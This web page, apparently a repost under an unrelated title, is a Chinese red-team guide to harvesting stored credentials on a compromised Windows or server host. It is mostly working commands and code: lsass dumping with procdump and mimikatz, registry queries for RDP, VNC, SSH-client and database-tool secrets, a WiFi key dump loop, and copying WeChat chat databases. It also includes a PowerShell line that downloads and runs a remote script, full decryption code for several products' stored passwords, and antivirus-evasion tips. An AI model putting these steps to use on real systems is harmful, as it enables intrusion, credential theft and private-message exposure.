当前位置:首页 > 软件开放 > 正文内容

cmd执行c代码(cmd怎么运行c文件)

软件开放8个月前 (03-28)315

内网凭据密码收集指南

原创投稿作者:深蓝实验室天威战队

前言

在攻防场景下,红队人员拿下一台终端或服务器后,第一步要做的往往就是信息收集,为最大化利用权限,扩大战果,密码抓取必不可少,这里针对常见应用软件和系统等密码抓取做了记录和总结,希望能帮助你作为参考。

RDP凭证 本机RDP密码

抓取本机RDP密码是一个我们常遇到的场景,通常使用mimikatz抓取RDP密码。

当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,这时抓取的明文密码为空。

展开全文

可以尝试解密NTLM获取明文密码。

上不了线的情况下,也可以在webshell中来dump内存,保存到本地解密即可。Dump内存的工具有很多,这里我们使用procdump64.exe为例进行dump内存:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

然后本地使用mimikatz进行解密:

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

文件lsass.dmp的导出可以有多种方式:procdump,avdump,sqldumper,comsvcs.dll等等,这里不过多赘述,能够免杀转储即可。

RDP登录凭证mimikatz

当我们使用Windows自带的远程桌面登录成功并选择保存凭据时,会在本地留下rdp登录凭证,如果我们获得了远程桌面的凭证,可以方便我们进行渗透测试中的横向移动。查看本机链接过哪些机器:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

获取Credentials:

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

获取guidMasterKey

mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\Credentials值" exit

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" cerd.txt

查找guid对应的MasterKey:

解密获取明文rdp凭证:

mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\ Credentials值/masterkey:masterkey值" exit

netpass

也可以利用netpass直接抓取密码,使用时注意对应系统版本,下载地址:https://www.nirsoft.net/utils/network_password_recovery.html

同时netpass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

VNC密码 UltraVNC

默认配置路径:

c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini

image.png

解密工具:https://github.com/jeroennijhof/vncpwd

image.png TightVNC

TightVNC的加密后密码存在注册表里内,注意查询需要管理员权限。

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort

解密工具:https://github.com/jeroennijhof/vncpwd

image.png

image.png RealVNC

RealVNC别名WinVNC,RealVNC的加密后密码存在注册表里内,注意查询需要管理员权限。

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password

解密工具:https://github.com/jeroennijhof/vncpwd

image.png TigerVNC

TigerVNC的加密后密码存在注册表里内,查询无需管理员权限。

reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password"

解密工具:https://github.com/jeroennijhof/vncpwd

image.png VPN密码

Windows自带VPN连接,如果在配置VPN时选择记住此密码则会保存连接信息。

image.png

默认保存连接信息目录

%AppData%\Roaming\Microsoft\Network\Connections\Pbk

image.png

我们可以使用Dialupass来获取VPN密码信息,注意需要管理员权限,Dialupass使用说明和下载地址:https://www.nirsoft.net/utils/dialupass.html

image.png

同时Dialupass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

image.png

免杀:截至目前删除程序版本信息即可免杀360。

WiFi密码

WiFi信息查询命令,在cmd下执行,无需管理员权限。

for/f "skip=9 tokens=1,2 delims=:"%i in( 'netsh wlan show profiles') do@ echo%j | findstr -i -v echo| netsh wlan show profiles %j key=clear

image.png 星号密码

在攻防场景下很多时候在主机或服务器上遇到一些软件配置使用了星号密码,我们可以直接尝试使用星号密码查看来获取明文密码,省去寻找和解密配置文件的时间。常用的星号密码查看器:

• Asterisk Password Spy [1] 支持180个应用软件密码查看

• peekPassword [2]

image.png 通信软件 个人微信

很多时候我们钓鱼控下的主机都安装了个人微信,很多时候会在微信上沟通密码等敏感信息,在攻防场景下,由于是个人主机不方便直接远程操作,所以我们可以下载其离线聊天数据库离线解密。

获取解密密钥

我们可以使用工具SharpWxDump [3] 来获取解密密钥,使用该工具需要注意两点,一是编译工具选择x86架构,而是对方微信必须是在登录状态。

image.png image.png 下载聊天记录

微信聊天文件一般在:

%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG0.db

%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG1.db

%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG2.db

注意:如果MSG0.db的大小超出240MB会自动生成MSG1.db,以此类推。打包聊天文件:

cd/d C:\Users\Public

# 由于微信运行会占用此文件,需要进行复制。

copy "C:\Users\test\Documents\WeChat Files\wxid_ll8ukjje2na922\Msg\Multi\MSG0.db"MSG0.db

# 使用Windows系统自带命令进行压缩,方便快速下载。

makecab MSG0.db MSG0.cab

# 下载到本地后解压

expandMSG0.cab MSG0.db 解密聊天文件

下载ChatViewTool [4] 后,将数据库密钥保存为文本文件DBPass.Bin,将解压后的聊天记录数据库MSG0.db放在同目录。

image.png

随后打开ChatViewTool点击数据库解密并选择密钥文件DBPass.Bin和聊天记录数据库MSG0.db所在的目录:

image.png

待解密完成后,会生成MSG0.db_dec.db,将MSG0.db_dec.db放到一个新目录,点击查看数据库选择此目录即可完成会话展示,双击联系人列表可展示对应的聊天记录。

image.png个人QQ

个人QQ由于有腾讯TP保护,导致不能动态地从个人QQ的内存获取其聊天数据库解密密钥,暂时无法解密,感兴趣可以阅读一文。

运维开发 SVN

SVN类的版本控制软件如TortoiseSVN默认会将缓存的凭据保存到配置文件中,在Windows平台上默认会调用Windows数据保护API进行加密。

image.png

SVN类客户端软件默认配置文件目录:

%APPDATA%\Subversion\auth\svn.simple\

%APPDATA%\Roaming\Subversion\auth\svn.simple\

image.png

我们可工具以使用TSvnPwd来解密。工具下载地址:http://www.leapbeyond.com/ric/TSvnPD/

image.png FileZilla

简介:FileZilla客户端是一个快速可靠的、跨平台的FTP,FTPS和SFTP客户端。

找到FileZilla的默认配置文件目录:

%userprofile%\AppData\Roaming\FileZilla\recentservers.xml

%userprofile%\AppData\Roaming\FileZilla\sitemanager.xml

密码base64解码即可得到明文:

也可以利用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd

SharpDecryptPwd.exe -FileZilla Winscp

简介:WinSCP 是一个 Windows 环境下使用的 SSH 的开源图形化 SFTP 客户端。同时支持 SCP 协议。它的主要功能是在本地与远程计算机间安全地复制文件,并且可以直接编辑文件。

通过注册表获得密文:

reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"

reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.192.128"

通过winscppwd.exe即可解密:

winscppwd.exe root 192.168.192.128 密文

有时候管理员会导出配置为WinSCP.ini文件。

这时候直接查找该文件,然后解密即可。winscppwd下载地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml也可以使用SharpDecryptPwd直接获取密码

Xshell

简介:Xshell是一款功能强大的终端模拟器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。Xshell密码默认保存位置:

XShell 5:%userprofile%\Documents\NetSarang\Xshell\Sessions

XShell 6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

XShell 7:%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions

SharpXDecrypt支持解密XShell所有版本,包括XShell 7:

image.png

下载地址:https://github.com/JDArmy/SharpXDecrypt 注:XShell 7默认session里面的密码为空,这种可以使用星号密码查看器直接查看密码

FinalShell

简介:FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具。默认配置文件地址:

%userprofile%\AppData\Local\finalshell\conn\xxx.json

使用FinalShell-Decoder选择目录即可解密:

下载地址:https://github.com/passer-W/FinalShell-Decoder

SecureCRT

SecureCRT默认配置目录:

dir%APPDATA%\VanDyke\Config\Sessions\

SecureCRT 7.3.3之前的版本使用password加密算法,之后的版本使用password v2算法:

S: "Password"=u17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc

S: "Password V2"=02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc

7.x 版本解密 [ 不带第一位 "u" ]

SecureCRTCipher.py dec 17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc

8.x 版本解密 [ 不带前面三位 "02:" ]

SecureCRTCipher.py dec -v2 7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc image.png

SecureCRT下载地址:https://github.com/HyperSine/how-does-SecureCRT-encrypt-password

Mobaxterm

MobaXterm连接信息默认全部加密存于注册表中,解密两种情况。

无管理密码的解密

首先是先切到指定用户权限下,从注册表中读取连接信息和账密 hash,此处测试的 MobaXterm 版本为 12.04 ,该版本不会强制你为连接设置管理密码。

# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm

# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm\\P

之后再把密码 hash 粘回本地解密,要带上目标机器名 和 MobaXterm 的安装用户。

python3 MobaXtermCipher.py dec -sysh Motoo-IISWeb -sysu administrator -h 192.168.159.6-u root +NYMdvHihPWokIa5KdDcjfIjb7pV1Qu*** 带管理密码的解密

此处测试的 MobaXterm 为最新版 20.5,该版本每次连接都会强制你设置管理密码。

reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P

python3 MobaXtermCipher.py dec -p admin!@ #45 ehx0N63ueLNPkw==Navicat

简介:Navicat Premium 是一套多连接数据库开发工具,可一次快速方便地访问多种数据库。

离线解密

首先查询Navicat注册表里的密码:

reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v host

reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v username

reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v pwd

image.png

然后可以使用以下代码在线解密,注意Navicat版本:在线运行地址:https://www.nhooo.com/tool/java8/

image.png packageorg.example;

importjavax.crypto.Cipher;

importjavax.crypto.spec.IvParameterSpec;

importjavax.crypto.spec.SecretKeySpec;

importjavax.xml.bind.DatatypeConverter;

importjava.nio.charset.StandardCharsets;

importjava.security.MessageDigest;

importjava.util.Arrays;

publicclassMain{

publicstaticvoidmain(String []args) {

//navicat11版本解密

Navicat11Cipherde=newNavicat11Cipher;

System.out.println(de.decryptString( "15057D7BA390"));

//navicat12以上版本解密

Navicat12Cipherde12=newNavicat12Cipher;

System.out.println(de12.decryptString( "503AA930968F877F04770B47DD731DC0"));

}

publicstaticclassNavicat11Cipher{

publicstaticfinalStringDefaultUserKey="3DC5CA39";

privatebyte[] _IV;

privateSecretKeySpec _Key;

privateCipher _Encryptor;

privateCipher _Decryptor;

privatevoidinitKey(String UserKey) {

try{

MessageDigestsha1=MessageDigest.getInstance( "SHA1");

byte[] userkey_data = UserKey.getBytes(StandardCharsets.UTF_8);

sha1.update(userkey_data, 0, userkey_data.length);

_Key = newSecretKeySpec(sha1.digest, "Blowfish");

} catch(Exception e) {

e.printStackTrace;

}

}

privatevoidinitChiperEncrypt{

try{

// Must use NoPadding

_Encryptor = Cipher.getInstance( "Blowfish/ECB/NoPadding");

_Encryptor.init(Cipher.ENCRYPT_MODE, _Key);

} catch(Exception e) {

e.printStackTrace;

}

}

privatevoidinitChiperDecrypt{

try{

// Must use NoPadding

_Decryptor = Cipher.getInstance( "Blowfish/ECB/NoPadding");

_Decryptor.init(Cipher.DECRYPT_MODE, _Key);

} catch(Exception e) {

e.printStackTrace;

}

}

privatevoidinitIV{

try{

byte[] initVec = DatatypeConverter.parseHexBinary( "FFFFFFFFFFFFFFFF");

_IV = _Encryptor.doFinal(initVec);

} catch(Exception e) {

e.printStackTrace;

}

}

privatevoidxorBytes( byte[] a, byte[] b) {

for( inti=0; i a.length; i++) {

intaVal=a[i] 0xff; // convert byte to integer

intbVal=b[i] 0xff;

a[i] = ( byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte

}

}

privatevoidxorBytes( byte[] a, byte[] b, intl) {

for( inti=0; i l; i++) {

intaVal=a[i] 0xff; // convert byte to integer

intbVal=b[i] 0xff;

a[i] = ( byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte

}

}

{

initKey(DefaultUserKey);

initChiperEncrypt;

initChiperDecrypt;

initIV;

}

privatebyte[] Encrypt( byte[] inData) {

try{

byte[] CV = Arrays.copyOf(_IV, _IV.length);

byte[] ret = newbyte[inData.length];

intblocks_len=inData.length / 8;

intleft_len=inData.length % 8;

for( inti=0; i blocks_len; i++) {

byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);

xorBytes(temp, CV);

temp = _Encryptor.doFinal(temp);

xorBytes(CV, temp);

System.arraycopy(temp, 0, ret, i * 8, 8);

}

if(left_len != 0) {

CV = _Encryptor.doFinal(CV);

byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);

xorBytes(temp, CV, left_len);

System.arraycopy(temp, 0, ret, blocks_len * 8, temp.length);

}

returnret;

} catch(Exception e) {

e.printStackTrace;

returnnull;

}

}

publicString encryptString(String inputString) {

try{

byte[] inData = inputString.getBytes(StandardCharsets.UTF_8);

byte[] outData = Encrypt(inData);

returnDatatypeConverter.printHexBinary(outData);

} catch(Exception e) {

e.printStackTrace;

return"";

}

}

privatebyte[] Decrypt( byte[] inData) {

try{

byte[] CV = Arrays.copyOf(_IV, _IV.length);

byte[] ret = newbyte[inData.length];

intblocks_len=inData.length / 8;

intleft_len=inData.length % 8;

for( inti=0; i blocks_len; i++) {

byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);

temp = _Decryptor.doFinal(temp);

xorBytes(temp, CV);

System.arraycopy(temp, 0, ret, i * 8, 8);

for( intj=0; j CV.length; j++) {

CV[j] = ( byte) (CV[j] ^ inData[i * 8+ j]);

}

}

if(left_len != 0) {

CV = _Encryptor.doFinal(CV);

byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);

xorBytes(temp, CV, left_len);

for( intj=0; j temp.length; j++) {

ret[blocks_len * 8+ j] = temp[j];

}

}

returnret;

} catch(Exception e) {

e.printStackTrace;

returnnull;

}

}

publicString decryptString(String hexString) {

try{

byte[] inData = DatatypeConverter.parseHexBinary(hexString);

byte[] outData = Decrypt(inData);

returnnewString(outData, StandardCharsets.UTF_8);

} catch(Exception e) {

e.printStackTrace;

return"";

}

}

}

publicstaticclassNavicat12Cipher{

privateSecretKeySpec _AesKey;

privateIvParameterSpec _AesIV;

{

_AesKey = newSecretKeySpec( "libcckeylibcckey".getBytes(StandardCharsets.UTF_8), "AES");

_AesIV = newIvParameterSpec( "libcciv libcciv ".getBytes(StandardCharsets.UTF_8));

}

publicString encryptString(String plaintext) {

try{

Ciphercipher=Cipher.getInstance( "AES/CBC/PKCS5Padding");

cipher.init(Cipher.ENCRYPT_MODE, _AesKey, _AesIV);

byte[] ret = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));

returnDatatypeConverter.printHexBinary(ret);

} catch(Exception e) {

e.printStackTrace;

return"";

}

}

publicString decryptString(String ciphertext) {

try{

Ciphercipher=Cipher.getInstance( "AES/CBC/PKCS5Padding");

cipher.init(Cipher.DECRYPT_MODE, _AesKey, _AesIV);

byte[] ret = cipher.doFinal(DatatypeConverter.parseHexBinary(ciphertext));

returnnewString(ret, StandardCharsets.UTF_8);

} catch(Exception e) {

e.printStackTrace;

return"";

}

}

}

} SharpDecryptPwd

也可以直接1使用SharpDecryptPwd抓取密码:

image.png 远程控制 TeamViewer

TeamViewer是远程访问、远程控制及远程支持解决方案,能够远程访问位于各地的计算机或移动设备。直接获取本机TeamViewer的ID以及密码:

SharpDecryptPwd.exe -TeamViewer SunLogin 旧版本

这里旧版本是指v11.0.0.38222以及以前的版本

找到配置文件config.ini

安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini

便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini

解密得到本机验证码为4M9aON

较新版本

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

最新版本

首先找到向日葵用户进程,然后使用procdump等工具转储进程内存。

tasklist /v | findstr /i sunlogin

procdump64.exe -accepteula -ma 进程号 image-20221109181701558.png

image-20221109182129937.png image-20221109225035543.png ToDesk 本机连接

ToDesk的配置路径在安装目录下的config.ini。

image.png

clientId为设备ID,AuthMode为认证模式,0为仅使用临时密码,1为仅使用安全密码,2为都可以使用,tempAuthPassEx为加密后的临时密码,authPassEx为加密后的安全密码,我们只需本地安装一个最新版本ToDesk,退出ToDesk,然后复制配置文件config.ini中的tempAuthPassEx或authPassEx字段到本地进行替换,最后重新运行ToDesk即可查看密码。

image.png

image.png 远程连接

ToDesk默认会保存连接过的信息,记录的文件也是ToDesk安装目录下的userInfo.json文件,其中就有远程连接的设备ID,主机名,连接密码等密码信息。

image.png

我们只需复制userInfo.json文件放在ToDesk安装目录下,重新运行ToDesk即可选择进行远程连接了,不需要输入密码。

image.png 浏览器 常见浏览器 WebBrowserPassView

WebBrowserPassView使用说明和下载地址:https://www.nirsoft.net/utils/web_browser_password.html WebBrowserPassView支持解密以下浏览器:

• Internet Explorer (Version 4.0 - 11.0)

• Mozilla Firefox (All Versions)

• Google Chrome

• Chromium-Based Edge

• Safari

• Opera

• Brave

• Waterfox

• SeaMonkey

• Vivaldi

• Yandex

• Chromium

WebBrowserPassView也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

image.png

WebBrowserPassView也支持离线解密:

image.png

免杀:截至目前删除程序版本信息即可免杀360。

HackBrowserData

HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。在Windows平台支持以下浏览器的密码,Cookie,书签和历史记录信息:

• Google Chrome

• Google Chrome Beta

• Chromium

• Microsoft Edge

• 360 极速浏览器

• QQ浏览器

• Brave

• Opera

• OperaGX

• Vivaldi

• Yandex

• CocCoc

• Firefox

• Firefox Beta

• Firefox Dev

• Firefox ESR

• Firefox Nightly

使用说明和下载地址:https://github.com/moonD4rk/HackBrowserData

IE浏览器 credgrap_ie_edge

工具地址:https://github.com/HanseSecure/credgrap_ie_edge 内存执行powershell解密即可

powershell -nop-execbypass -c"IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"

落地解密

IE Passwords Viewer

可以直接使用iepv直接获取账密,使用说明和下载地址:https://www.nirsoft.net/utils/internet_explorer_password.html

image.png

同时iepv也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

image.png

免杀:截至目前删除程序版本信息即可免杀360。

360安全浏览器离线解密

首先切到指定用户权限下,获取机器id,

reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"/v "MachineGuid"image.png

然后找到账密数据库文件assis2.db路径,将assis2.db下载到本地进行解密。

reg query "HKCR\360SeSES\DefaultIcon"

dir"C:\Users\aky\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis"

执行解密:

360SafeBrowserDecrypt.exe a9f521cd-2bd6-47fe-87db-69743456aa84 assis2.db

image.png 上传解密

在免杀的情况下也可以直接上传360SafeBrowserDecrypt.exe进行解密。

image.png 其他浏览器

如果遇到其他的小众浏览器,可以在本地安装一个相同版本的浏览器,然后退出浏览器,将目标上的浏览器用户数据目录打包到本地,在相同目录进行替换,重新打开浏览器,去浏览器设置里查看密码。以下为一些浏览器的用户数据目录:

%AppData%/Local/Google/Chrome/User Data/Default/

%AppData%/Local/Google/Chrome Beta/User Data/Default/

%AppData%/Local/Chromium/User Data/Default/

%AppData%/Local/Microsoft/Edge/User Data/Default/

%AppData%/Local/BraveSoftware/Brave-Browser/User Data/Default/

%AppData%/Local/360chrome/Chrome/User Data/Default/

%AppData%/Local/Tencent/QQBrowser/User Data/Default/

%AppData%/Roaming/Opera Software/Opera Stable/

%AppData%/Roaming/Opera Software/Opera GX Stable/

%AppData%/Local/Vivaldi/User Data/Default/

%AppData%/Local/CocCoc/Browser/User Data/Default/

%AppData%/Local/Yandex/YandexBrowser/User Data/Default/

%AppData%/Roaming/Mozilla/Firefox/Profiles/

%AppData%/Roaming/SogouExplorer/Webkit/ WEB系统 通用方法

思路:绝大部分的配置信息,在内存中,都是String类型的field字段,可以使用OQL语言直接从内存中提取password字段的field值。

工具:https://github.com/corener/JavaPassDump

使用步骤:1、使用jcmd获取JVM堆内存 jmap,jcmd 都是JDK自带工具,指定JVM pid 直接dump

jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760 2.1.png

2、使用OQLQuery提取密码 OQL语句:

var filter = {};

map(heap.classes, function (cls) {

return map(cls.fields, function (field) {

if( field.name.toString.contains( "pass") || field.name.toString.contains( "username") ||field.name.toString.contains( "PASS")){

return map(heap.objects(cls), function (obs) {

var tag = cls.name+ "|"+field.name ;

var res = "class : "+cls.name+ "\n Field [ "+field.name.toString+ " : ";

if( obs[field.name.toString] != null){

res = res + obs[field.name.toString].toString+ " ]\n";

}else{

res = res + "null ]\n";

}

if (filter[tag] == null) {

filter[tag] = res;

print(res);

}

return null;

});

}

return null;

});

});

使用base64编码oql语句传入OQLQuery进行提取:

java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=

1.1.png

42f3e0d7257d7c3d6bec1dc42ab78d7.png

从图中即可看到数据库连接密码。

致远OA

数据库配置文件默认位置:

/Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties

使用工具解密:https://github.com/jas502n/OA-Seeyou

泛微系列e-cology

数据库配置文件默认位置:

D:\WEAVER\ecology\WEB-INF\prop\weaver.properties

用户名表:HrmResource 管理员表:HrmResourceManager、TB_USER

image.png e-bridge

数据库配置文件默认位置:

D:\ebridge\tomcat\webapps\ROOT\WEB-INF\init.properties e-mobile

数据库配置文件默认位置:

D:\WEAVER\emobile\webapps\ROOT\WEB-INF\classes\application.properties e-office

数据库配置文件默认位置:

D:\eoffice\webroot\inc\oa_config.php

D:\eoffice\bin\mysql_config.ini 蓝凌OA 解密后台管理密码

后台管理地址一般是:

http: //x.x.x.x/admin.do

如果后台管理地址遇到不是admin.do,则可以尝试从以下文件中搜索SysConfigAdminAction即可找到后台管理地址:

老版本对应的为:\WEB-INF\KmssConfig\sys\config\struts.xml

新版本对应的为:\WEB-INF\KmssConfig\sys\config\spring-safe.xml

或者:\WEB-INF\KmssConfig\sys\config\spring-mvc.xml

加密后的后台管理密码一般保存在:

/WEB-INF/KmssConfig/admin.properties

其使用的加密算法为DES-ECB,密钥为kmssAdminKey,解密工具:https://github.com/zhutougg/LandrayDES

image.png 配置文件解密

配置文件默认路径:

ekp/WEB-INF/KmssConfig/kmssconfig.properties

其使用的加密算法为DES-ECB,密钥为kmssPropertiesKey。

image.png

解密代码:

packageorg.example;

importcn.hutool.core.util.CharsetUtil;

importcn.hutool.crypto.SecureUtil;

importcn.hutool.crypto.symmetric.DES;

importjava.nio.file.Files;

importjava.nio.file.Path;

importjava.nio.file.Paths;

publicclassMain{

publicstaticString decrypt( byte[] bytes, String key) {

DESdes=SecureUtil.des(key.getBytes);

returndes.decryptStr(bytes, CharsetUtil.charset( "gb2312"));

}

publicstaticvoidmain(String[] args) throwsException {

Pathpath=Paths.get( "D:\\Users\\Shmily\\Desktop\\kmssconfig.properties");

byte[] bytes = Files.readAllBytes(path);

Stringresult=decrypt(bytes, "kmssPropertiesKey");

System.out.println(result);

}

}

数据库用户密码解密 用户表:sys_org_person 前台用户在/login.jsp登陆时使用的密码使用了md5和DES两种加密方式存在数据库中,其使用DES算法为DES-CBE,密钥为kmssPropertiesKey。

f5a2cb7dffa11bec2fe1615b2ad6676.png

解密工具:https://github.com/zhutougg/LandrayDES

image.png 万户OA

数据库配置文件默认位置:

D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml

D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties

/WEB-INF/config/ezoffice/config.xml

/jboss-as/server/oa/deploy /*-ds.xml //星号为具体数据库比如mssql、oracle

通达OA

数据库配置文件默认位置:

C:\MYOA\mysql5\my.ini

C:\MYOA\webroot\inc\oa_config.php

C:\MYOA\bin\Service.ini

用友NC

数据库配置文件默认位置:

/nchome/ierp/bin/prop.xml

用友数据库解密,工具下载地址:https://github.com/jas502n/ncDecode

金和OA

数据库默认配置文件:

D:\apache-tomcat-6.0.53\webapps\jc6\WEB-INF\classes\db.properties 心通达

数据库默认配置文件:

/webapps/ROOT/WEB-INF/classes/jdbc-sql.propertie

image.png 帆软

数据库默认配置文件:

\WEB-INF\resources\privilege.xml

解密代码:

cipher = input( "输入密文:\n") # 密文

PASSWORD_MASK_ARRAY = [ 19, 78, 10, 15, 100, 213, 43, 23]

password = ""

cipher = cipher[ 3:]

fori inrange( int( len(cipher) / 4)):

c1 = int( "0x"+ cipher[i * 4:(i + 1) * 4], 16)

c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]

password = password + chr(c2)

print( "明文密码:\n"+password) image.png Confluence

数据库默认配置文件:

/ var/atlassian/confluenc/confluence.cfg.xml vCenter

数据库默认配置文件:

Windows默认路径:

C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties

Linux路径:

/etc/vmware-vpx/vcdb.properties

/etc/vmware/service-state/vpxd/vcdb.properties

金蝶金蝶EAS

数据库默认配置文件:

...\runtime\apusic\domains\server1\config\datasources.xml

D:/Kingdee/eas/server/properties/datacenters.xml 华三IMC

数据库默认配置文件:

common\conf\server-addr.xml

核心算法:通过将去掉-符号的值加上数组的下标值乘上16取余256,接着把获取到的值b与255进行比较,大于255的进行b-256的操作后赋值给b,紧接着进行ASCII转换。最后判断结尾是否为” ~~”,是的话就去掉,最后去掉最后两位。解密代码:

str= "-115-97-76-67-49-28-30-14"

ifstr.startswith( '-'):

strs = []

bytess = []

strs = str[ 1: 24].split( '-')

i = 0

fori inrange( len(strs)- 2):

try:

strsint = int(strs[i])

b = strsint + i * 16% 256

ifb 255:

b = b - 256

str1 = chr(b)

ifnotstr1.endswith( "~~"):

bytess.append( chr(b))

except:

pass

i = i + 1

print( "密码:"+ ''.join(bytess))

else:

print( "密文格式不对!")

print( "格式应为:-112-81-83-67-55-20-30-1") image.png 联软 IT 安全运维

数据库默认配置文件:

/home/leagsoft/LeagView/Ini/odbc.ini

/home/leagsoft/LeagView/Ini/Server.ini

/etc/postgresql/ 9.1/auditdb/postgresql.conf 中间件T omcat数据库

数据库配置文件:

WEB-INF/classes/application.properties

实战中遇见的tomcat常见数据库配置文件名:

db.properties

jdbc.properties

dbpool.properties

config.properties

sso-config.properties

minaconfig.properties

missCallAlertExclude.properties

url_img.properties

webapp.properties

Proxool.properties

application.properties 控制台

tomcat控制台账号密码:

/conf/tomcat-users.xml A ctiveMQ

配置了认证的情况:

登录密码存放路径:

/apache-activemq/conf/jetty-realm.properties

W eblogic

